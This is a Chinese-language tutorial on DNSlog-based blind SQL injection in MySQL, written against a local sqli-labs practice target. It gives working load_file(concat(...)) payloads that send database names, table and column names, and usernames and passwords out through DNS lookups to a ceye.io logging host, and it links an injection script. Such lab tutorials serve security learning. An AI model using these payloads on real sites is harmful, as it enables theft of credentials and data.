1.基礎知識
1.DNS
DNS(Domain Name System,域名系統),因特網上作為域名和IP地址相互映射的一個分布式數據庫,能夠使用戶更方便的訪問互聯網,而不用去記住能夠被機器直接讀取的IP數串。通過主機名,最終得到該主機名對應的IP地址的過程叫做域名解析(或主機名解析)。DNS協議運行在UDP協議之上,使用端口號53。在RFC文檔中RFC 2181對DNS有規范說明,RFC 2136對DNS的動態更新進行說明,RFC 2308對DNS查詢的反向緩存進行說明。
2.Dnslog
Dnslog就是存儲在DNS Server上的域名信息,它記錄着用戶對域名www.test.com
、t00ls.com.
等的訪問信息。
DnsLog盲注
對於SQL盲注,我們可以通過布爾或者時間盲注獲取內容,但是整個過程效率低,需要發送很多的請求進行判斷,容易觸發安全設備的防護,Dnslog盲注可以減少發送的請求,直接回顯數據實現注入 使用DnsLog盲注僅限於windos環境。
原理圖:
如圖,攻擊者首先提交注入語句select load_file(concat('\\\\','攻擊語句',.XXX.ceye.io\\abc))
在數據庫中攻擊語句被執行,由concat
函數將執行結果與XXX.ceye.io\\abc
拼接,構成一個新的域名,而mysql中的select load_file()
可以發起請求,那么這一條帶有數據庫查詢結果的域名就被提交到DNS服務器進行解析
此時,如果我們可以查看DNS服務器上的Dnslog就可以得到SQL注入結果。那么我們如何獲得這條DNS查詢記錄呢?注意注入語句中的ceye.io
,這其實是一個開放的Dnslog平台(具體用法在官網可見),在http://ceye.io上我們可以獲取到有關ceye.io
的DNS查詢信息。實際上在域名解析的過程中,是由頂級域名向下逐級解析的,我們構造的攻擊語句也是如此,當它發現域名中存在ceye.io
時,它會將這條域名信息轉到相應的NS服務器上,而通過http://ceye.io我們就可以查詢到這條DNS解析記錄。
構造語法
構造語句,利用load_file()函數發起請求,使用Dnslog接受請求,獲取數據
SELECT LOAD_FILE(CONCAT('\\\',(select database(),'mysql.cmr1ua.ceye.io\\abc')))
通過SQL語句查詢內容,作為請求的一部分發送至Dnslog
只要對這一部分語句進行構造,就能實現有回顯的SQL注入
payload:
獲取數據庫名
http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+
通過dnslog查看到數據名為security
獲取數據表
http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
獲取表中的字段名
' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
獲取表中字段下的數據
' and load_file(concat('\\\\',(select password from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+ ' and load_file(concat('\\\\',(select username from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
因為在load_file里面不能使用@ ~等符號所以要區分數據我們可以先用group_ws()函數分割在用hex()函數轉成十六進制即可 出來了再轉回去
' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
Donslog注入腳本
https://github.com/ADOOO/DnslogSqlinj
參考學習:https://www.jianshu.com/p/d6788f57dba5
https://www.cnblogs.com/afanti/p/8047530.html
網易雲白帽子進階課程